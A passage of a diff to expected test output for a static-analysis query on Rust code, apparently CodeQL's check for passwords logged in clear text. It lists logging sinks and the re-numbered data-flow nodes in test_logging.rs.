Argument[self]; ReturnValue; value | -| 16 | Summary: lang:alloc; crate::fmt::format; Argument[0]; ReturnValue; taint | -| 17 | Summary: lang:core; crate::hint::must_use; Argument[0]; ReturnValue; value | +| 2 | Sink: lang:core; crate::panicking::assert_failed; log-injection; Argument[3] | +| 3 | Sink: lang:core; crate::panicking::assert_failed; log-injection; Argument[3].Field[crate::option::Option::Some(0)] | +| 4 | Sink: lang:core; crate::panicking::panic_fmt; log-injection; Argument[0] | +| 5 | Sink: lang:std; ::write; log-injection; Argument[0] | +| 6 | Sink: lang:std; ::write; log-injection; Argument[0] | +| 7 | Sink: lang:std; ::write_all; log-injection; Argument[0] | +| 8 | Sink: lang:std; crate::io::stdio::_eprint; log-injection; Argument[0] | +| 9 | Sink: lang:std; crate::io::stdio::_print; log-injection; Argument[0] | +| 10 | Sink: repo:https://github.com/DesmondWillowbrook/rs-log_err:log_err; ::log_expect; log-injection; Argument[0] | +| 11 | Sink: repo:https://github.com/DesmondWillowbrook/rs-log_err:log_err; ::log_expect; log-injection; Argument[0] | +| 12 | Sink: repo:https://github.com/DesmondWillowbrook/rs-log_err:log_err; ::log_expect; log-injection; Argument[self].Field[crate::result::Result::Err(0)] | +| 13 | Sink: repo:https://github.com/DesmondWillowbrook/rs-log_err:log_err; ::log_unwrap; log-injection; Argument[self].Field[crate::result::Result::Err(0)] | +| 14 | Sink: repo:https://github.com/rust-lang/log:log; crate::__private_api::log; log-injection; Argument[1] | +| 15 | Sink: repo:https://github.com/rust-lang/log:log; crate::__private_api::log; log-injection; Argument[3] | +| 16 | Summary: lang:alloc; ::as_bytes; Argument[self]; ReturnValue; value | +| 17 | Summary: lang:alloc; ::as_str; Argument[self]; ReturnValue; value | +| 18 | Summary: lang:alloc; crate::fmt::format; Argument[0]; ReturnValue; taint | +| 19 | Summary: lang:core; crate::hint::must_use; Argument[0]; ReturnValue; value | nodes +| test_logging.rs:42:5:42:36 | ...::log | semmle.label | ...::log | +| test_logging.rs:42:12:42:35 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:42:28:42:35 | password | semmle.label | password | | test_logging.rs:43:5:43:36 | ...::log | semmle.label | ...::log | | test_logging.rs:43:12:43:35 | MacroExpr | semmle.label | MacroExpr | | test_logging.rs:43:28:43:35 | password | semmle.label | password | -| test_logging.rs:44:5:44:36 | ...::log | semmle.label | ...::log | -| test_logging.rs:44:12:44:35 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:44:28:44:35 | password | semmle.label | password | -| test_logging.rs:45:5:45:35 | ...::log | semmle.label | ...::log | -| test_logging.rs:45:11:45:34 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:45:27:45:34 | password | semmle.label | password | -| test_logging.rs:46:5:46:36 | ...::log | semmle.label | ...::log | -| test_logging.rs:46:12:46:35 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:46:28:46:35 | password | semmle.label | password | -| test_logging.rs:47:5:47:35 | ...::log | semmle.label | ...::log | -| test_logging.rs:47:11:47:34 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:47:27:47:34 | password | semmle.label | password | -| test_logging.rs:48:5:48:48 | ...::log | semmle.label | ...::log | -| test_logging.rs:48:24:48:47 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:48:40:48:47 | password | semmle.label | password | -| test_logging.rs:53:5:53:36 | ...::log | semmle.label | ...::log | -| test_logging.rs:53:12:53:35 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:53:28:53:35 | password | semmle.label | password | -| test_logging.rs:55:5:55:49 | ...::log | semmle.label | ...::log | -| test_logging.rs:55:12:55:48 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:55:41:55:48 | password | semmle.label | password | -| test_logging.rs:57:5:57:47 | ...::log | semmle.label | ...::log | -| test_logging.rs:57:12:57:46 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:57:39:57:46 | password | semmle.label | password | -| test_logging.rs:58:5:58:34 | ...::log | semmle.label | ...::log | -| test_logging.rs:58:12:58:33 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:44:5:44:35 | ...::log | semmle.label | ...::log | +| test_logging.rs:44:11:44:34 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:44:27:44:34 | password | semmle.label | password | +| test_logging.rs:45:5:45:36 | ...::log | semmle.label | ...::log | +| test_logging.rs:45:12:45:35 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:45:28:45:35 | password | semmle.label | password | +| test_logging.rs:46:5:46:35 | ...::log | semmle.label | ...::log | +| test_logging.rs:46:11:46:34 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:46:27:46:34 | password | semmle.label | password | +| test_logging.rs:47:5:47:48 | ...::log | semmle.label | ...::log | +| test_logging.rs:47:24:47:47 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:47:40:47:47 | password | semmle.label | password | +| test_logging.rs:52:5:52:36 | ...::log | semmle.label | ...::log | +| test_logging.rs:52:12:52:35 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:52:28:52:35 | password | semmle.label | password | +| test_logging.rs:54:5:54:49 | ...::log | semmle.label | ...::log | +| test_logging.rs:54:12:54:48 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:54:41:54:48 | password | semmle.label | password | +| test_logging.rs:56:5:56:47 | ...::log | semmle.label | ...::log | +| test_logging.rs:56:12:56:46 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:56:39:56:46 | password | semmle.label | password | +| test_logging.rs:57:5:57:34 | ...::log | semmle.label | ...::log | +| test_logging.rs:57:12:57:33 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:57:24:57:31 | password | semmle.label | password | +| test_logging.rs:58:5:58:36 | ...::log | semmle.label | ...::log | +| test_logging.rs:58:12:58:35 | MacroExpr | semmle.label | MacroExpr | | test_logging.rs:58:24:58:31 | password | semmle.label | password | -| test_logging.rs:59:5:59:36 | ...::log | semmle.label | ...::log | -| test_logging.rs:59:12:59:35 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:59:24:59:31 | password | semmle.label | password | -| test_logging.rs:61:5:61:54 | ...::log | semmle.label | ...::log | -| test_logging.rs:61:30:61:53 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:61:46:61:53 | password | semmle.label | password | -| test_logging.rs:62:5:62:55 | ...::log | semmle.label | ...::log | -| test_logging.rs:62:20:62:28 | &... [&ref, tuple.0, &ref] | semmle.label | &... [&ref, tuple.0, &ref] | -| test_logging.rs:62:20:62:28 | &... [&ref, tuple.0] | semmle.label | &... [&ref, tuple.0] | -| test_logging.rs:62:20:62:28 | &password | semmle.label | &password | -| test_logging.rs:62:20:62:28 | &password [&ref] | semmle.label | &password [&ref] | -| test_logging.rs:62:20:62:28 | TupleExpr [tuple.0, &ref] | semmle.label | TupleExpr [tuple.0, &ref] | -| test_logging.rs:62:20:62:28 | TupleExpr [tuple.0] | semmle.label | TupleExpr [tuple.0] | -| test_logging.rs:62:21:62:28 | password | semmle.label | password | -| test_logging.rs:66:5:66:48 | ...::log | semmle.label | ...::log | -| test_logging.rs:66:24:66:47 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:66:40:66:47 | password | semmle.label | password | -| test_logging.rs:68:5:68:66 | ...::log | semmle.label | ...::log | -| test_logging.rs:68:42:68:65 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:68:58:68:65 | password | semmle.label | password | -| test_logging.rs:69:5:69:67 | ...::log | semmle.label | ...::log | -| test_logging.rs:69:18:69:26 | &... [&ref, tuple.0, &ref] | semmle.label | &... [&ref, tuple.0, &ref] | -| test_logging.rs:69:18:69:26 | &... [&ref, tuple.0] | semmle.label | &... [&ref, tuple.0] | -| test_logging.rs:69:18:69:26 | &password | semmle.label | &password | -| test_logging.rs:69:18:69:26 | &password [&ref] | semmle.label | &password [&ref] | -| test_logging.rs:69:18:69:26 | TupleExpr [tuple.0, &ref] | semmle.label | TupleExpr [tuple.0, &ref] | -| test_logging.rs:69:18:69:26 | TupleExpr [tuple.0] | semmle.label | TupleExpr [tuple.0] | -| test_logging.rs:69:19:69:26 | password | semmle.label | password | -| test_logging.rs:73:5:73:47 | ...::log | semmle.label | ...::log | -| test_logging.rs:73:23:73:46 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:73:39:73:46 | password | semmle.label | password | -| test_logging.rs:75:5:75:65 | ...::log | semmle.label | ...::log | -| test_logging.rs:75:41:75:64 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:75:57:75:64 | password | semmle.label | password | -| test_logging.rs:76:5:76:51 | ...::log | semmle.label | ...::log | -| test_logging.rs:76:20:76:28 | &... [&ref, tuple.0, &ref] | semmle.label | &... [&ref, tuple.0, &ref] | -| test_logging.rs:76:20:76:28 | &... [&ref, tuple.0] | semmle.label | &... [&ref, tuple.0] | -| test_logging.rs:76:20:76:28 | &password | semmle.label | &password | -| test_logging.rs:76:20:76:28 | &password [&ref] | semmle.label | &password [&ref] | -| test_logging.rs:76:20:76:28 | TupleExpr [tuple.0, &ref] | semmle.label | TupleExpr [tuple.0, &ref] | -| test_logging.rs:76:20:76:28 | TupleExpr [tuple.0] | semmle.label | TupleExpr [tuple.0] | -| test_logging.rs:76:21:76:28 | password | semmle.label | password | -| test_logging.rs:77:5:77:47 | ...::log | semmle.label | ...::log | -| test_logging.rs:77:23:77:46 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:77:39:77:46 | password | semmle.label | password | -| test_logging.rs:83:5:83:44 | ...::log | semmle.label | ...::log | -| test_logging.rs:83:20:83:43 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:83:36:83:43 | password | semmle.label | password | -| test_logging.rs:85:5:85:62 | ...::log | semmle.label | ...::log | -| test_logging.rs:85:38:85:61 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:85:54:85:61 | password | semmle.label | password | -| test_logging.rs:86:5:86:48 | ...::log | semmle.label | ...::log | -| test_logging.rs:86:20:86:28 | &... [&ref, tuple.0, &ref] | semmle.label | &... [&ref, tuple.0, &ref] | -| test_logging.rs:86:20:86:28 | &... [&ref, tuple.0] | semmle.label | &... [&ref, tuple.0] | -| test_logging.rs:86:20:86:28 | &password | semmle.label | &password | -| test_logging.rs:86:20:86:28 | &password [&ref] | semmle.label | &password [&ref] | -| test_logging.rs:86:20:86:28 | TupleExpr [tuple.0, &ref] | semmle.label | TupleExpr [tuple.0, &ref] | -| test_logging.rs:86:20:86:28 | TupleExpr [tuple.0] | semmle.label | TupleExpr [tuple.0] | -| test_logging.rs:86:21:86:28 | password | semmle.label | password | -| test_logging.rs:87:5:87:44 | ...::log | semmle.label | ...::log | -| test_logging.rs:87:20:87:43 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:87:36:87:43 | password | semmle.label | password | -| test_logging.rs:94:9:94:10 | m1 | semmle.label | m1 | -| test_logging.rs:94:14:94:22 | &password | semmle.label | &password | -| test_logging.rs:94:15:94:22 | password | semmle.label | password | -| test_logging.rs:95:5:95:29 | ...::log | semmle.label | ...::log | -| test_logging.rs:95:11:95:28 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:97:9:97:10 | m2 | semmle.label | m2 | -| test_logging.rs:97:41:97:49 | &password | semmle.label | &password | -| test_logging.rs:97:42:97:49 | password | semmle.label | password | -| test_logging.rs:98:5:98:19 | ...::log | semmle.label | ...::log | -| test_logging.rs:98:11:98:18 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:100:9:100:10 | m3 | semmle.label | m3 | -| test_logging.rs:100:14:100:46 | res | semmle.label | res | -| test_logging.rs:100:22:100:45 | ...::format(...) | semmle.label | ...::format(...) | -| test_logging.rs:100:22:100:45 | ...::must_use(...) | semmle.label | ...::must_use(...) | -| test_logging.rs:100:22:100:45 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:100:22:100:45 | { ... } | semmle.label | { ... } | -| test_logging.rs:100:38:100:45 | password | semmle.label | password | -| test_logging.rs:101:5:101:19 | ...::log | semmle.label | ...::log | -| test_logging.rs:101:11:101:18 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:119:5:119:42 | ...::log | semmle.label | ...::log | -| test_logging.rs:119:12:119:41 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:119:28:119:41 | get_password(...) | semmle.label | get_password(...) | -| test_logging.rs:130:9:130:10 | t1 [tuple.1] | semmle.label | t1 [tuple.1] | -| test_logging.rs:130:14:130:33 | TupleExpr [tuple.1] | semmle.label | TupleExpr [tuple.1] | -| test_logging.rs:130:25:130:32 | password | semmle.label | password | -| test_logging.rs:132:5:132:32 | ...::log | semmle.label | ...::log | -| test_logging.rs:132:12:132:31 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:132:28:132:29 | t1 [tuple.1] | semmle.label | t1 [tuple.1] | -| test_logging.rs:132:28:132:31 | t1.1 | semmle.label | t1.1 | -| test_logging.rs:139:5:139:38 | ...::log | semmle.label | ...::log | -| test_logging.rs:139:11:139:37 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:139:27:139:37 | s1.password | semmle.label | s1.password | -| test_logging.rs:146:5:146:38 | ...::log | semmle.label | ...::log | -| test_logging.rs:146:11:146:37 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:146:27:146:37 | s2.password | semmle.label | s2.password | -| test_logging.rs:171:22:171:31 | log_expect | semmle.label | log_expect | -| test_logging.rs:171:33:171:79 | &... | semmle.label | &... | -| test_logging.rs:171:33:171:79 | &... [&ref] | semmle.label | &... [&ref] | -| test_logging.rs:171:34:171:79 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:171:34:171:79 | res | semmle.label | res | -| test_logging.rs:171:42:171:78 | ...::format(...) | semmle.label | ...::format(...) | -| test_logging.rs:171:42:171:78 | ...::must_use(...) | semmle.label | ...::must_use(...) | -| test_logging.rs:171:42:171:78 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:171:42:171:78 | { ... } | semmle.label | { ... } | -| test_logging.rs:171:70:171:78 | password2 | semmle.label | password2 | -| test_logging.rs:175:24:175:33 | log_expect | semmle.label | log_expect | -| test_logging.rs:175:35:175:81 | &... | semmle.label | &... | -| test_logging.rs:175:35:175:81 | &... [&ref] | semmle.label | &... [&ref] | -| test_logging.rs:175:36:175:81 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:175:36:175:81 | res | semmle.label | res | -| test_logging.rs:175:44:175:80 | ...::format(...) | semmle.label | ...::format(...) | -| test_logging.rs:175:44:175:80 | ...::must_use(...) | semmle.label | ...::must_use(...) | -| test_logging.rs:175:44:175:80 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:175:44:175:80 | { ... } | semmle.label | { ... } | -| test_logging.rs:175:72:175:80 | password2 | semmle.label | password2 | -| test_logging.rs:182:9:182:19 | err_result3 [Err] | semmle.label | err_result3 [Err] | -| test_logging.rs:182:47:182:60 | Err(...) [Err] | semmle.label | Err(...) [Err] | -| test_logging.rs:182:51:182:59 | password2 | semmle.label | password2 | -| test_logging.rs:183:13:183:23 | err_result3 [Err] | semmle.label | err_result3 [Err] | -| test_logging.rs:183:25:183:34 | log_unwrap | semmle.label | log_unwrap | -| test_logging.rs:187:5:187:38 | ...::_print | semmle.label | ...::_print | -| test_logging.rs:187:12:187:37 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:187:30:187:37 | password | semmle.label | password | -| test_logging.rs:188:5:188:38 | ...::_print | semmle.label | ...::_print | -| test_logging.rs:188:14:188:37 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:188:30:188:37 | password | semmle.label | password | -| test_logging.rs:189:5:189:39 | ...::_eprint | semmle.label | ...::_eprint | -| test_logging.rs:189:13:189:38 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:189:31:189:38 | password | semmle.label | password | -| test_logging.rs:190:5:190:39 | ...::_eprint | semmle.label | ...::_eprint | -| test_logging.rs:190:15:190:38 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:190:31:190:38 | password | semmle.label | password | -| test_logging.rs:193:16:193:47 | ...::panic_fmt | semmle.label | ...::panic_fmt | -| test_logging.rs:193:23:193:46 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:193:39:193:46 | password | semmle.label | password | -| test_logging.rs:194:16:194:46 | ...::panic_fmt | semmle.label | ...::panic_fmt | -| test_logging.rs:194:22:194:45 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:194:38:194:45 | password | semmle.label | password | -| test_logging.rs:195:16:195:55 | ...::panic_fmt | semmle.label | ...::panic_fmt | -| test_logging.rs:195:31:195:54 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:195:47:195:54 | password | semmle.label | password | -| test_logging.rs:196:16:196:53 | ...::panic_fmt | semmle.label | ...::panic_fmt | -| test_logging.rs:196:29:196:52 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:196:45:196:52 | password | semmle.label | password | -| test_logging.rs:197:16:197:55 | ...::panic_fmt | semmle.label | ...::panic_fmt | -| test_logging.rs:197:31:197:54 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:197:47:197:54 | password | semmle.label | password | -| test_logging.rs:198:16:198:57 | ...::assert_failed | semmle.label | ...::assert_failed | -| test_logging.rs:198:33:198:56 | ...::Some(...) [Some] | semmle.label | ...::Some(...) [Some] | -| test_logging.rs:198:33:198:56 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:198:49:198:56 | password | semmle.label | password | -| test_logging.rs:199:16:199:57 | ...::assert_failed | semmle.label | ...::assert_failed | -| test_logging.rs:199:33:199:56 | ...::Some(...) [Some] | semmle.label | ...::Some(...) [Some] | -| test_logging.rs:199:33:199:56 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:199:49:199:56 | password | semmle.label | password | -| test_logging.rs:200:16:200:61 | ...::panic_fmt | semmle.label | ...::panic_fmt | -| test_logging.rs:200:37:200:60 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:200:53:200:60 | password | semmle.label | password | -| test_logging.rs:201:16:201:63 | ...::assert_failed | semmle.label | ...::assert_failed | -| test_logging.rs:201:39:201:62 | ...::Some(...) [Some] | semmle.label | ...::Some(...) [Some] | -| test_logging.rs:201:39:201:62 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:201:55:201:62 | password | semmle.label | password | -| test_logging.rs:202:17:202:64 | ...::assert_failed | semmle.label | ...::assert_failed | -| test_logging.rs:202:40:202:63 | ...::Some(...) [Some] | semmle.label | ...::Some(...) [Some] | -| test_logging.rs:202:40:202:63 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:202:56:202:63 | password | semmle.label | password | -| test_logging.rs:203:27:203:32 | expect | semmle.label | expect | -| test_logging.rs:203:34:203:66 | res | semmle.label | res | -| test_logging.rs:203:34:203:75 | ... .as_str() | semmle.label | ... .as_str() | -| test_logging.rs:203:42:203:65 | ...::format(...) | semmle.label | ...::format(...) | -| test_logging.rs:203:42:203:65 | ...::must_use(...) | semmle.label | ...::must_use(...) | -| test_logging.rs:203:42:203:65 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:203:42:203:65 | { ... } | semmle.label | { ... } | -| test_logging.rs:203:58:203:65 | password | semmle.label | password | -| test_logging.rs:209:30:209:34 | write | semmle.label | write | -| test_logging.rs:209:36:209:70 | res | semmle.label | res | -| test_logging.rs:209:36:209:81 | ... .as_bytes() | semmle.label | ... .as_bytes() | -| test_logging.rs:209:44:209:69 | ...::format(...) | semmle.label | ...::format(...) | -| test_logging.rs:209:44:209:69 | ...::must_use(...) | semmle.label | ...::must_use(...) | -| test_logging.rs:209:44:209:69 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:209:44:209:69 | { ... } | semmle.label | { ... } | -| test_logging.rs:209:62:209:69 | password | semmle.label | password | -| test_logging.rs:210:30:210:38 | write_all | semmle.label | write_all | -| test_logging.rs:210:40:210:74 | res | semmle.label | res | -| test_logging.rs:210:40:210:85 | ... .as_bytes() | semmle.label | ... .as_bytes() | -| test_logging.rs:210:48:210:73 | ...::format(...) | semmle.label | ...::format(...) | -| test_logging.rs:210:48:210:73 | ...::must_use(...) | semmle.label | ...::must_use(...) | -| test_logging.rs:210:48:210:73 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:210:48:210:73 | { ... } | semmle.label | { ... } | -| test_logging.rs:210:66:210:73 | password | semmle.label | password | -| test_logging.rs:213:9:213:13 | write | semmle.label | write | -| test_logging.rs:213:15:213:49 | res | semmle.label | res | -| test_logging.rs:213:15:213:60 | ... .as_bytes() | semmle.label | ... .as_bytes() | -| test_logging.rs:213:23:213:48 | ...::format(...) | semmle.label | ...::format(...) | -| test_logging.rs:213:23:213:48 | ...::must_use(...) | semmle.label | ...::must_use(...) | -| test_logging.rs:213:23:213:48 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:213:23:213:48 | { ... } | semmle.label | { ... } | -| test_logging.rs:213:41:213:48 | password | semmle.label | password | -| test_logging.rs:216:9:216:13 | write | semmle.label | write | -| test_logging.rs:216:15:216:49 | res | semmle.label | res | -| test_logging.rs:216:15:216:60 | ... .as_bytes() | semmle.label | ... .as_bytes() | -| test_logging.rs:216:23:216:48 | ...::format(...) | semmle.label | ...::format(...) | -| test_logging.rs:216:23:216:48 | ...::must_use(...) | semmle.label | ...::must_use(...) | -| test_logging.rs:216:23:216:48 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:216:23:216:48 | { ... } | semmle.label | { ... } | -| test_logging.rs:216:41:216:48 | password | semmle.label | password | +| test_logging.rs:60:5:60:54 | ...::log | semmle.label | ...::log | +| test_logging.rs:60:30:60:53 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:60:46:60:53 | password | semmle.label | password | +| test_logging.rs:61:5:61:55 | ...::log | semmle.label | ...::log | +| test_logging.rs:61:20:61:28 | &... [&ref, tuple.0, &ref] | semmle.label | &... [&ref, tuple.0, &ref] | +| test_logging.rs:61:20:61:28 | &... [&ref, tuple.0] | semmle.label | &... [&ref, tuple.0] | +| test_logging.rs:61:20:61:28 | &password | semmle.label | &password | +| test_logging.rs:61:20:61:28 | &password [&ref] | semmle.label | &password [&ref] | +| test_logging.rs:61:20:61:28 | TupleExpr [tuple.0, &ref] | semmle.label | TupleExpr [tuple.0, &ref] | +| test_logging.rs:61:20:61:28 | TupleExpr [tuple.0] | semmle.label | TupleExpr [tuple.0] | +| test_logging.rs:61:21:61:28 | password | semmle.label | password | +| test_logging.rs:65:5:65:48 | ...::log | semmle.label | ...::log | +| test_logging.rs:65:24:65:47 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:65:40:65:47 | password | semmle.label | password | +| test_logging.rs:67:5:67:66 | ...::log | semmle.label | ...::log | +| test_logging.rs:67:42:67:65 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:67:58:67:65 | password | semmle.label | password | +| test_logging.rs:68:5:68:67 | ...::log | semmle.label | ...::log | +| test_logging.rs:68:18:68:26 | &... [&ref, tuple.0, &ref] | semmle.label | &... [&ref, tuple.0, &ref] | +| test_logging.rs:68:18:68:26 | &... [&ref, tuple.0] | semmle.label | &... [&ref, tuple.0] | +| test_logging.rs:68:18:68:26 | &password | semmle.label | &password | +| test_logging.rs:68:18:68:26 | &password [&ref] | semmle.label | &password [&ref] | +| test_logging.rs:68:18:68:26 | TupleExpr [tuple.0, &ref] | semmle.label | TupleExpr [tuple.0, &ref] | +| test_logging.rs:68:18:68:26 | TupleExpr [tuple.0] | semmle.label | TupleExpr [tuple.0] | +| test_logging.rs:68:19:68:26 | password | semmle.label | password | +| test_logging.rs:72:5:72:47 | ...::log | semmle.label | ...::log | +| test_logging.rs:72:23:72:46 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:72:39:72:46 | password | semmle.label | password | +| test_logging.rs:74:5:74:65 | ...::log | semmle.label | ...::log | +| test_logging.rs:74:41:74:64 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:74:57:74:64 | password | semmle.label | password | +| test_logging.rs:75:5:75:51 | ...::log | semmle.label | ...::log | +| test_logging.rs:75:20:75:28 | &... [&ref, tuple.0, &ref] | semmle.label | &... [&ref, tuple.0, &ref] | +| test_logging.rs:75:20:75:28 | &... [&ref, tuple.0] | semmle.label | &... [&ref, tuple.0] | +| test_logging.rs:75:20:75:28 | &password | semmle.label | &password | +| test_logging.rs:75:20:75:28 | &password [&ref] | semmle.label | &password [&ref] | +| test_logging.rs:75:20:75:28 | TupleExpr [tuple.0, &ref] | semmle.label | TupleExpr [tuple.0, &ref] | +| test_logging.rs:75:20:75:28 | TupleExpr [tuple.0] | semmle.label | TupleExpr [tuple.0] | +| test_logging.rs:75:21:75:28 | password | semmle.label | password | +| test_logging.rs:76:5:76:47 | ...::log | semmle.label | ...::log | +| test_logging.rs:76:23:76:46 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:76:39:76:46 | password | semmle.label | password | +| test_logging.rs:82:5:82:44 | ...::log | semmle.label | ...::log | +| test_logging.rs:82:20:82:43 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:82:36:82:43 | password | semmle.label | password | +| test_logging.rs:84:5:84:62 | ...::log | semmle.label | ...::log | +| test_logging.rs:84:38:84:61 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:84:54:84:61 | password | semmle.label | password | +| test_logging.rs:85:5:85:48 | ...::log | semmle.label | ...::log | +| test_logging.rs:85:20:85:28 | &... [&ref, tuple.0, &ref] | semmle.label | &... [&ref, tuple.0, &ref] | +| test_logging.rs:85:20:85:28 | &... [&ref, tuple.0] | semmle.label | &... [&ref, tuple.0] | +| test_logging.rs:85:20:85:28 | &password | semmle.label | &password | +| test_logging.rs:85:20:85:28 | &password [&ref] | semmle.label | &password [&ref] | +| test_logging.rs:85:20:85:28 | TupleExpr [tuple.0, &ref] | semmle.label | TupleExpr [tuple.0, &ref] | +| test_logging.rs:85:20:85:28 | TupleExpr [tuple.0] | semmle.label | TupleExpr [tuple.0] | +| test_logging.rs:85:21:85:28 | password | semmle.label | password | +| test_logging.rs:86:5:86:44 | ...::log | semmle.label | ...::log | +| test_logging.rs:86:20:86:43 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:86:36:86:43 | password | semmle.label | password | +| test_logging.rs:93:9:93:10 | m1 | semmle.label | m1 | +| test_logging.rs:93:14:93:22 | &password | semmle.label | &password | +| test_logging.rs:93:15:93:22 | password | semmle.label | password | +| test_logging.rs:94:5:94:29 | ...::log | semmle.label | ...::log | +| test_logging.rs:94:11:94:28 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:96:9:96:10 | m2 | semmle.label | m2 | +| test_logging.rs:96:41:96:49 | &password | semmle.label | &password | +| test_logging.rs:96:42:96:49 | password | semmle.label | password | +| test_logging.rs:97:5:97:19 | ...::log | semmle.label | ...::log | +| test_logging.rs:97:11:97:18 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:99:9:99:10 | m3 | semmle.label | m3 | +| test_logging.rs:99:14:99:46 | res | semmle.label | res | +| test_logging.rs:99:22:99:45 | ...::format(...) | semmle.label | ...::format(...) | +| test_logging.rs:99:22:99:45 | ...::must_use(...) | semmle.label | ...::must_use(...) | +| test_logging.rs:99:22:99:45 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:99:22:99:45 | { ... } | semmle.label | { ... } | +| test_logging.rs:99:38:99:45 | password | semmle.label | password | +| test_logging.rs:100:5:100:19 | ...::log | semmle.label | ...::log | +| test_logging.rs:100:11:100:18 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:118:5:118:42 | ...::log | semmle.label | ...::log | +| test_logging.rs:118:12:118:41 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:118:28:118:41 | get_password(...) | semmle.label | get_password(...) | +| test_logging.rs:129:9:129:10 | t1 [tuple.1] | semmle.label | t1 [tuple.1] | +| test_logging.rs:129:14:129:33 | TupleExpr [tuple.1] | semmle.label | TupleExpr [tuple.1] | +| test_logging.rs:129:25:129:32 | password | semmle.label | password | +| test_logging.rs:131:5:131:32 | ...::log | semmle.label | ...::log | +| test_logging.rs:131:12:131:31 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:131:28:131:29 | t1 [tuple.1] | semmle.label | t1 [tuple.1] | +| test_logging.rs:131:28:131:31 | t1.1 | semmle.label | t1.1 | +| test_logging.rs:141:5:141:38 | ...::log | semmle.label | ...::log | +| test_logging.rs:141:11:141:37 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:141:27:141:37 | s1.password | semmle.label | s1.password | +| test_logging.rs:151:5:151:38 | ...::log | semmle.label | ...::log | +| test_logging.rs:151:11:151:37 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:151:27:151:37 | s2.password | semmle.label | s2.password | +| test_logging.rs:176:22:176:31 | log_expect | semmle.label | log_expect | +| test_logging.rs:176:33:176:79 | &... | semmle.label | &... | +| test_logging.rs:176:33:176:79 | &... [&ref] | semmle.label | &... [&ref] | +| test_logging.rs:176:34:176:79 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:176:34:176:79 | res | semmle.label | res | +| test_logging.rs:176:42:176:78 | ...::format(...) | semmle.label | ...::format(...) | +| test_logging.rs:176:42:176:78 | ...::must_use(...) | semmle.label | ...::must_use(...) | +| test_logging.rs:176:42:176:78 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:176:42:176:78 | { ... } | semmle.label | { ... } | +| test_logging.rs:176:70:176:78 | password2 | semmle.label | password2 | +| test_logging.rs:180:24:180:33 | log_expect | semmle.label | log_expect | +| test_logging.rs:180:35:180:81 | &... | semmle.label | 